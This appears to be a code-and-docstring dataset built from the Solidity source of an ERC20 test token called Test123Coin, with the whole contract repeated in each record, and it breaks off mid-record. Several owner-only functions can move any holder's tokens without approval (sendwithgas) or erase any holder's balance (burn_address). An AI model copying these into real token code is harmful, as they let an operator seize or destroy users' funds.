@dev used by a new owner to accept an ownership transfer
*/
function acceptOwnership() public onlyNewOwner {
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
} | /*
* Ownable
*
* Base contract with an owner.
* Provides onlyOwner modifier, which prevents function from running if it is called by anyone other than the owner.
*/ | Comment | acceptOwnership | function acceptOwnership() public onlyNewOwner {
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
| /**
@dev used by a new owner to accept an ownership transfer
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | Unlicense | bzzr://2727cdbbdb0bc927e9d7b0e7fe879b7c1700d6ac60a63af11ab1b451dab8773e | {
"func_code_index": [
854,
970
]
} | 8,390 |
Test123Coin | Test123Coin.sol | 0x33d19f9e3e3f083ec5c2425401cc53d96e79ac3a | Solidity | Test123Coin | contract Test123Coin is ERC20, Ownable {
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
uint256 internal initialSupply;
uint256 internal totalSupply_;
mapping(address => uint256) internal balances;
mapping(address => bool) public frozen;
mapping(address => mapping(address => uint256)) internal allowed;
event Burn(address indexed owner, uint256 value);
event Mint(uint256 value);
event Freeze(address indexed holder);
event Unfreeze(address indexed holder);
modifier notFrozen(address _holder) {
require(!frozen[_holder]);
_;
}
constructor() public {
name = "Test123Coin";
symbol = "TTC1";
decimals = 0;
initialSupply = 1000000000;
totalSupply_ = 1000000000;
balances[owner] = totalSupply_;
emit Transfer(address(0), owner, totalSupply_);
}
function () public payable {
revert();
}
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified addresses
* @param _from The address to transfer from.
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function _transfer(address _from, address _to, uint _value) internal {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public notFrozen(msg.sender) returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _holder The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _holder) public view returns (uint256 balance) {
return balances[_holder];
}
/**
* ERC20 Token Transfer
*/
function sendwithgas(address _from, address _to, uint256 _value, uint256 _fee) public onlyOwner notFrozen(_from) returns (bool) {
uint256 _total;
_total = _value.add(_fee);
require(!frozen[_from]);
require(_to != address(0));
require(_total <= balances[_from]);
balances[msg.sender] = balances[msg.sender].add(_fee);
balances[_from] = balances[_from].sub(_total);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
emit Transfer(_from, msg.sender, _fee);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public notFrozen(_from) returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
_transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to _spender the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an _holder allowed to a spender.
* @param _holder address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _holder, address _spender) public view returns (uint256) {
return allowed[_holder][_spender];
}
/**
* Freeze Account.
*/
function freezeAccount(address _holder) public onlyOwner returns (bool) {
require(!frozen[_holder]);
frozen[_holder] = true;
emit Freeze(_holder);
return true;
}
/**
* Unfreeze Account.
*/
function unfreezeAccount(address _holder) public onlyOwner returns (bool) {
require(frozen[_holder]);
frozen[_holder] = false;
emit Unfreeze(_holder);
return true;
}
/**
* Token Burn.
*/
function burn(uint256 _value) public onlyOwner returns (bool) {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(burner, _value);
return true;
}
/**
* Token Address All Burn.
*/
function burn_address(address _target) public onlyOwner returns (bool){
require(_target != address(0));
uint256 _targetValue = balances[_target];
balances[_target] = 0;
totalSupply_ = totalSupply_.sub(_targetValue);
address burner = msg.sender;
emit Burn(burner, _targetValue);
return true;
}
/**
* Token Mint.
*/
function mint(uint256 _amount) public onlyOwner returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[owner] = balances[owner].add(_amount);
emit Transfer(address(0), owner, _amount);
return true;
}
/**
* @dev Internal function to determine if an address is a contract
* @param addr The address being queried
* @return True if `_addr` is a contract
*/
function isContract(address addr) internal view returns (bool) {
uint size;
assembly{size := extcodesize(addr)}
return size > 0;
}
} | totalSupply | function totalSupply() public view returns (uint256) {
return totalSupply_;
}
| /**
* @dev Total number of tokens in existence
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | Unlicense | bzzr://2727cdbbdb0bc927e9d7b0e7fe879b7c1700d6ac60a63af11ab1b451dab8773e | {
"func_code_index": [
933,
1013
]
} | 8,391 |
||
Test123Coin | Test123Coin.sol | 0x33d19f9e3e3f083ec5c2425401cc53d96e79ac3a | Solidity | Test123Coin | contract Test123Coin is ERC20, Ownable {
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
uint256 internal initialSupply;
uint256 internal totalSupply_;
mapping(address => uint256) internal balances;
mapping(address => bool) public frozen;
mapping(address => mapping(address => uint256)) internal allowed;
event Burn(address indexed owner, uint256 value);
event Mint(uint256 value);
event Freeze(address indexed holder);
event Unfreeze(address indexed holder);
modifier notFrozen(address _holder) {
require(!frozen[_holder]);
_;
}
constructor() public {
name = "Test123Coin";
symbol = "TTC1";
decimals = 0;
initialSupply = 1000000000;
totalSupply_ = 1000000000;
balances[owner] = totalSupply_;
emit Transfer(address(0), owner, totalSupply_);
}
function () public payable {
revert();
}
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified addresses
* @param _from The address to transfer from.
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function _transfer(address _from, address _to, uint _value) internal {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public notFrozen(msg.sender) returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _holder The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _holder) public view returns (uint256 balance) {
return balances[_holder];
}
/**
* ERC20 Token Transfer
*/
function sendwithgas(address _from, address _to, uint256 _value, uint256 _fee) public onlyOwner notFrozen(_from) returns (bool) {
uint256 _total;
_total = _value.add(_fee);
require(!frozen[_from]);
require(_to != address(0));
require(_total <= balances[_from]);
balances[msg.sender] = balances[msg.sender].add(_fee);
balances[_from] = balances[_from].sub(_total);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
emit Transfer(_from, msg.sender, _fee);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public notFrozen(_from) returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
_transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to _spender the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an _holder allowed to a spender.
* @param _holder address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _holder, address _spender) public view returns (uint256) {
return allowed[_holder][_spender];
}
/**
* Freeze Account.
*/
function freezeAccount(address _holder) public onlyOwner returns (bool) {
require(!frozen[_holder]);
frozen[_holder] = true;
emit Freeze(_holder);
return true;
}
/**
* Unfreeze Account.
*/
function unfreezeAccount(address _holder) public onlyOwner returns (bool) {
require(frozen[_holder]);
frozen[_holder] = false;
emit Unfreeze(_holder);
return true;
}
/**
* Token Burn.
*/
function burn(uint256 _value) public onlyOwner returns (bool) {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(burner, _value);
return true;
}
/**
* Token Address All Burn.
*/
function burn_address(address _target) public onlyOwner returns (bool){
require(_target != address(0));
uint256 _targetValue = balances[_target];
balances[_target] = 0;
totalSupply_ = totalSupply_.sub(_targetValue);
address burner = msg.sender;
emit Burn(burner, _targetValue);
return true;
}
/**
* Token Mint.
*/
function mint(uint256 _amount) public onlyOwner returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[owner] = balances[owner].add(_amount);
emit Transfer(address(0), owner, _amount);
return true;
}
/**
* @dev Internal function to determine if an address is a contract
* @param addr The address being queried
* @return True if `_addr` is a contract
*/
function isContract(address addr) internal view returns (bool) {
uint size;
assembly{size := extcodesize(addr)}
return size > 0;
}
} | _transfer | function _transfer(address _from, address _to, uint _value) internal {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
}
| /**
* @dev Transfer token for a specified addresses
* @param _from The address to transfer from.
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | Unlicense | bzzr://2727cdbbdb0bc927e9d7b0e7fe879b7c1700d6ac60a63af11ab1b451dab8773e | {
"func_code_index": [
1217,
1605
]
} | 8,392 |
||
Test123Coin | Test123Coin.sol | 0x33d19f9e3e3f083ec5c2425401cc53d96e79ac3a | Solidity | Test123Coin | contract Test123Coin is ERC20, Ownable {
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
uint256 internal initialSupply;
uint256 internal totalSupply_;
mapping(address => uint256) internal balances;
mapping(address => bool) public frozen;
mapping(address => mapping(address => uint256)) internal allowed;
event Burn(address indexed owner, uint256 value);
event Mint(uint256 value);
event Freeze(address indexed holder);
event Unfreeze(address indexed holder);
modifier notFrozen(address _holder) {
require(!frozen[_holder]);
_;
}
constructor() public {
name = "Test123Coin";
symbol = "TTC1";
decimals = 0;
initialSupply = 1000000000;
totalSupply_ = 1000000000;
balances[owner] = totalSupply_;
emit Transfer(address(0), owner, totalSupply_);
}
function () public payable {
revert();
}
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified addresses
* @param _from The address to transfer from.
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function _transfer(address _from, address _to, uint _value) internal {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public notFrozen(msg.sender) returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _holder The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _holder) public view returns (uint256 balance) {
return balances[_holder];
}
/**
* ERC20 Token Transfer
*/
function sendwithgas(address _from, address _to, uint256 _value, uint256 _fee) public onlyOwner notFrozen(_from) returns (bool) {
uint256 _total;
_total = _value.add(_fee);
require(!frozen[_from]);
require(_to != address(0));
require(_total <= balances[_from]);
balances[msg.sender] = balances[msg.sender].add(_fee);
balances[_from] = balances[_from].sub(_total);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
emit Transfer(_from, msg.sender, _fee);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public notFrozen(_from) returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
_transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to _spender the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an _holder allowed to a spender.
* @param _holder address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _holder, address _spender) public view returns (uint256) {
return allowed[_holder][_spender];
}
/**
* Freeze Account.
*/
function freezeAccount(address _holder) public onlyOwner returns (bool) {
require(!frozen[_holder]);
frozen[_holder] = true;
emit Freeze(_holder);
return true;
}
/**
* Unfreeze Account.
*/
function unfreezeAccount(address _holder) public onlyOwner returns (bool) {
require(frozen[_holder]);
frozen[_holder] = false;
emit Unfreeze(_holder);
return true;
}
/**
* Token Burn.
*/
function burn(uint256 _value) public onlyOwner returns (bool) {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(burner, _value);
return true;
}
/**
* Token Address All Burn.
*/
function burn_address(address _target) public onlyOwner returns (bool){
require(_target != address(0));
uint256 _targetValue = balances[_target];
balances[_target] = 0;
totalSupply_ = totalSupply_.sub(_targetValue);
address burner = msg.sender;
emit Burn(burner, _targetValue);
return true;
}
/**
* Token Mint.
*/
function mint(uint256 _amount) public onlyOwner returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[owner] = balances[owner].add(_amount);
emit Transfer(address(0), owner, _amount);
return true;
}
/**
* @dev Internal function to determine if an address is a contract
* @param addr The address being queried
* @return True if `_addr` is a contract
*/
function isContract(address addr) internal view returns (bool) {
uint size;
assembly{size := extcodesize(addr)}
return size > 0;
}
} | transfer | function transfer(address _to, uint256 _value) public notFrozen(msg.sender) returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
| /**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | Unlicense | bzzr://2727cdbbdb0bc927e9d7b0e7fe879b7c1700d6ac60a63af11ab1b451dab8773e | {
"func_code_index": [
1767,
2093
]
} | 8,393 |
||
Test123Coin | Test123Coin.sol | 0x33d19f9e3e3f083ec5c2425401cc53d96e79ac3a | Solidity | Test123Coin | contract Test123Coin is ERC20, Ownable {
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
uint256 internal initialSupply;
uint256 internal totalSupply_;
mapping(address => uint256) internal balances;
mapping(address => bool) public frozen;
mapping(address => mapping(address => uint256)) internal allowed;
event Burn(address indexed owner, uint256 value);
event Mint(uint256 value);
event Freeze(address indexed holder);
event Unfreeze(address indexed holder);
modifier notFrozen(address _holder) {
require(!frozen[_holder]);
_;
}
constructor() public {
name = "Test123Coin";
symbol = "TTC1";
decimals = 0;
initialSupply = 1000000000;
totalSupply_ = 1000000000;
balances[owner] = totalSupply_;
emit Transfer(address(0), owner, totalSupply_);
}
function () public payable {
revert();
}
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified addresses
* @param _from The address to transfer from.
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function _transfer(address _from, address _to, uint _value) internal {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public notFrozen(msg.sender) returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _holder The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _holder) public view returns (uint256 balance) {
return balances[_holder];
}
/**
* ERC20 Token Transfer
*/
function sendwithgas(address _from, address _to, uint256 _value, uint256 _fee) public onlyOwner notFrozen(_from) returns (bool) {
uint256 _total;
_total = _value.add(_fee);
require(!frozen[_from]);
require(_to != address(0));
require(_total <= balances[_from]);
balances[msg.sender] = balances[msg.sender].add(_fee);
balances[_from] = balances[_from].sub(_total);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
emit Transfer(_from, msg.sender, _fee);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public notFrozen(_from) returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
_transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to _spender the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an _holder allowed to a spender.
* @param _holder address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _holder, address _spender) public view returns (uint256) {
return allowed[_holder][_spender];
}
/**
* Freeze Account.
*/
function freezeAccount(address _holder) public onlyOwner returns (bool) {
require(!frozen[_holder]);
frozen[_holder] = true;
emit Freeze(_holder);
return true;
}
/**
* Unfreeze Account.
*/
function unfreezeAccount(address _holder) public onlyOwner returns (bool) {
require(frozen[_holder]);
frozen[_holder] = false;
emit Unfreeze(_holder);
return true;
}
/**
* Token Burn.
*/
function burn(uint256 _value) public onlyOwner returns (bool) {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(burner, _value);
return true;
}
/**
* Token Address All Burn.
*/
function burn_address(address _target) public onlyOwner returns (bool){
require(_target != address(0));
uint256 _targetValue = balances[_target];
balances[_target] = 0;
totalSupply_ = totalSupply_.sub(_targetValue);
address burner = msg.sender;
emit Burn(burner, _targetValue);
return true;
}
/**
* Token Mint.
*/
function mint(uint256 _amount) public onlyOwner returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[owner] = balances[owner].add(_amount);
emit Transfer(address(0), owner, _amount);
return true;
}
/**
* @dev Internal function to determine if an address is a contract
* @param addr The address being queried
* @return True if `_addr` is a contract
*/
function isContract(address addr) internal view returns (bool) {
uint size;
assembly{size := extcodesize(addr)}
return size > 0;
}
} | balanceOf | function balanceOf(address _holder) public view returns (uint256 balance) {
return balances[_holder];
}
| /**
* @dev Gets the balance of the specified address.
* @param _holder The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | Unlicense | bzzr://2727cdbbdb0bc927e9d7b0e7fe879b7c1700d6ac60a63af11ab1b451dab8773e | {
"func_code_index": [
2293,
2399
]
} | 8,394 |
||
Test123Coin | Test123Coin.sol | 0x33d19f9e3e3f083ec5c2425401cc53d96e79ac3a | Solidity | Test123Coin | contract Test123Coin is ERC20, Ownable {
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
uint256 internal initialSupply;
uint256 internal totalSupply_;
mapping(address => uint256) internal balances;
mapping(address => bool) public frozen;
mapping(address => mapping(address => uint256)) internal allowed;
event Burn(address indexed owner, uint256 value);
event Mint(uint256 value);
event Freeze(address indexed holder);
event Unfreeze(address indexed holder);
modifier notFrozen(address _holder) {
require(!frozen[_holder]);
_;
}
constructor() public {
name = "Test123Coin";
symbol = "TTC1";
decimals = 0;
initialSupply = 1000000000;
totalSupply_ = 1000000000;
balances[owner] = totalSupply_;
emit Transfer(address(0), owner, totalSupply_);
}
function () public payable {
revert();
}
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified addresses
* @param _from The address to transfer from.
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function _transfer(address _from, address _to, uint _value) internal {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public notFrozen(msg.sender) returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _holder The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _holder) public view returns (uint256 balance) {
return balances[_holder];
}
/**
* ERC20 Token Transfer
*/
function sendwithgas(address _from, address _to, uint256 _value, uint256 _fee) public onlyOwner notFrozen(_from) returns (bool) {
uint256 _total;
_total = _value.add(_fee);
require(!frozen[_from]);
require(_to != address(0));
require(_total <= balances[_from]);
balances[msg.sender] = balances[msg.sender].add(_fee);
balances[_from] = balances[_from].sub(_total);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
emit Transfer(_from, msg.sender, _fee);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public notFrozen(_from) returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
_transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to _spender the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an _holder allowed to a spender.
* @param _holder address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _holder, address _spender) public view returns (uint256) {
return allowed[_holder][_spender];
}
/**
* Freeze Account.
*/
function freezeAccount(address _holder) public onlyOwner returns (bool) {
require(!frozen[_holder]);
frozen[_holder] = true;
emit Freeze(_holder);
return true;
}
/**
* Unfreeze Account.
*/
function unfreezeAccount(address _holder) public onlyOwner returns (bool) {
require(frozen[_holder]);
frozen[_holder] = false;
emit Unfreeze(_holder);
return true;
}
/**
* Token Burn.
*/
function burn(uint256 _value) public onlyOwner returns (bool) {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(burner, _value);
return true;
}
/**
* Token Address All Burn.
*/
function burn_address(address _target) public onlyOwner returns (bool){
require(_target != address(0));
uint256 _targetValue = balances[_target];
balances[_target] = 0;
totalSupply_ = totalSupply_.sub(_targetValue);
address burner = msg.sender;
emit Burn(burner, _targetValue);
return true;
}
/**
* Token Mint.
*/
function mint(uint256 _amount) public onlyOwner returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[owner] = balances[owner].add(_amount);
emit Transfer(address(0), owner, _amount);
return true;
}
/**
* @dev Internal function to determine if an address is a contract
* @param addr The address being queried
* @return True if `_addr` is a contract
*/
function isContract(address addr) internal view returns (bool) {
uint size;
assembly{size := extcodesize(addr)}
return size > 0;
}
} | sendwithgas | function sendwithgas(address _from, address _to, uint256 _value, uint256 _fee) public onlyOwner notFrozen(_from) returns (bool) {
uint256 _total;
_total = _value.add(_fee);
require(!frozen[_from]);
require(_to != address(0));
require(_total <= balances[_from]);
balances[msg.sender] = balances[msg.sender].add(_fee);
balances[_from] = balances[_from].sub(_total);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
emit Transfer(_from, msg.sender, _fee);
return true;
}
| /**
* ERC20 Token Transfer
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | Unlicense | bzzr://2727cdbbdb0bc927e9d7b0e7fe879b7c1700d6ac60a63af11ab1b451dab8773e | {
"func_code_index": [
2439,
2956
]
} | 8,395 |
||
Test123Coin | Test123Coin.sol | 0x33d19f9e3e3f083ec5c2425401cc53d96e79ac3a | Solidity | Test123Coin | contract Test123Coin is ERC20, Ownable {
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
uint256 internal initialSupply;
uint256 internal totalSupply_;
mapping(address => uint256) internal balances;
mapping(address => bool) public frozen;
mapping(address => mapping(address => uint256)) internal allowed;
event Burn(address indexed owner, uint256 value);
event Mint(uint256 value);
event Freeze(address indexed holder);
event Unfreeze(address indexed holder);
modifier notFrozen(address _holder) {
require(!frozen[_holder]);
_;
}
constructor() public {
name = "Test123Coin";
symbol = "TTC1";
decimals = 0;
initialSupply = 1000000000;
totalSupply_ = 1000000000;
balances[owner] = totalSupply_;
emit Transfer(address(0), owner, totalSupply_);
}
function () public payable {
revert();
}
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified addresses
* @param _from The address to transfer from.
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function _transfer(address _from, address _to, uint _value) internal {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
}
/**
* @dev Transfer token for a specified address
